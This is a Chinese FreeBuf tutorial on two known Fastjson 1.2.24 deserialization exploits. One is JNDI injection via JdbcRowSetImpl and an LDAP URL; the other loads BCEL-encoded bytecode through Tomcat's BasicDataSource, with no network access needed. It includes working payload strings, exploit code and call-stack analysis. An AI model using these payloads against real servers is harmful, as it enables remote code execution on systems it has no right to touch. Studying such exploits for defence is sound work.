freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Fastjson的两种常见利用方式
2023-05-10 15:27:55
所属地 四川省

Fastjson简介

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

利用点:对JavaBean格式类的序列化与反序列化会有方法执行,可以构造恶意执行链。

环境搭建

pom.xml

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-dbcp</artifactId>
      <version>8.0.36</version>
</dependency>

手写EXP

可以出网的利用

import com.alibaba.fastjson.JSON;

public class DemoTest {
    public static void main(String[] args) {
        JSON.parse("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/lasthh\",\"autoCommit\":\"true\"}");
    }
}

不能出网的利用

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Path;
import java.io.*;
import java.nio.file.Paths;


public class DemoTest1 {
    public static void main(String[] args) throws Exception {

        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\JAVA\\fastjson\\target\\classes\\Exp1.class"));
        String code = Utility.encode(bytes, true);
//      classLoader.loadClass("$$BCEL$$"+code).newInstance();

        JSON.parseObject("{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code +"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}");
        //根据BasicDataSource中forName的加载逻辑,可以知道它是进行了初始化的。
    }
        public static byte[] readBytesFromClassFile(Path filePath) throws Exception {
            return Files.readAllBytes(filePath);
        }
}

调用栈

lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:5, DemoTest
defineClass:642, ClassLoader (java.lang)
loadClass:163, ClassLoader (com.sun.org.apache.bcel.internal.util)
loadClass:357, ClassLoader (java.lang)
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
createConnectionFactory:2125, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
createDataSource:2032, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
getConnection:1532, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
main:23, DemoTest1

漏洞分析

出网

从payload中可以知道,会先调用com.sun.rowset.JdbcRowSetImpl下的setdataSourceName方法,先看if判断,此时肯定为null,所以调用父类的setDataSourceName方法。

image

可以看到父类成功赋值。

image

继续看com.sun.rowset.JdbcRowSetImpl下的setAutoCommit方法,当this.conn为空时可以执行this.connect。

image

而this.con默认为null,所以会进入到connect方法体内,此时this.con默认为null,this.getDataSourceName不为空(我们在前面已经赋值过了),所以会流程会走到lookup(),这就是一个JNDI注入漏洞的触发点。

image

不出网

先看漏洞触发点:

com.sun.org.apache.bcel.internal.util.ClassLoader类下的protected Class loadClass(String class_name, boolean resolve)。

可以看到这里可以传入一个BCEL类型的字节码,而且在后面的流程当中会加载字节码并实例化,所以可以构造恶意的BCEL码。

image

利用方式为:

ClassLoader classLoader = new ClassLoader();
    byte[] bytes = Files.readAllBytes(Paths.get("E:\\JAVA\\fastjson\\target\\classes\\Exp1.class"));
    String code = Utility.encode(bytes, true);
	classLoader.loadClass("$$BCEL$$"+code).newInstance();

寻找其它类来调用,可以找到org.apache.tomcat.dbcp.dbcp2.BasicDataSource。

注意到playload用的是JSON.parseObject会执行类下的setter方法和符合条件的getter方法。

可以看到会调用getConnection方法,然后是createDataSource方法。

image

又在createDataSource中调用createConnectionFactory方法。

image

可以看到此时driverToUse为null,driverClassLoader不为null。true的意思是在加载类时会执行static代码块。所以就清楚了,我们只要给

driverClassName传入我们构造的BCEL字节码,driverClassLoader传入字节码对应的ClassLoader就可以了。

driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);

image
fastjson反序列化赋值,可以看到对这两个属性赋值的setter方法没有什么限制条件,所以直接传值即可。

JSON.parseObject("{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code +"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}");

image

image

注意点(手写EXP时)

对dataSourceName传值要加载远程Reference绑定的恶意对象,对autoCommit传值,任意的布尔类型都可以。

总结

利用JdbcRowSetImpl类,需要目标可以出网,JDK版本不能太高,限制性强。

利用BasicDataSource类,目标不需要出网,但需要有Tomcat的依赖,较为普遍。

# 漏洞 # 网络安全 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录